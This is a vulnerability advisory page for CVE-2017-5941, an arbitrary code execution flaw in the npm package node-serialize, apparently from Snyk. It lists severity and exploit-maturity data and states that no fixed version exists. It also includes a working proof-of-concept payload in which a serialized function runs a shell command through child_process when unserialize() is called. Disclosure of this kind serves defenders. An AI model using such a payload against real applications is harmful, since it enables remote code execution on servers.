Arbitrary Code Execution Affecting node-serialize package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
61.03% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDnpm:node-serialize:20170208
  • published13 Feb 2017
  • disclosed8 Feb 2017
  • creditAjin Abraham

Introduced: 8 Feb 2017

CVE-2017-5941  (opens in a new tab)
CWE-502  (opens in a new tab)

How to fix?

There is no fix version for node-serialize

Overview

node-serialize serializes an object and it's function into a JSON.

Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the unserialize() function.

Example:

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

CVSS Base Scores

version 3.1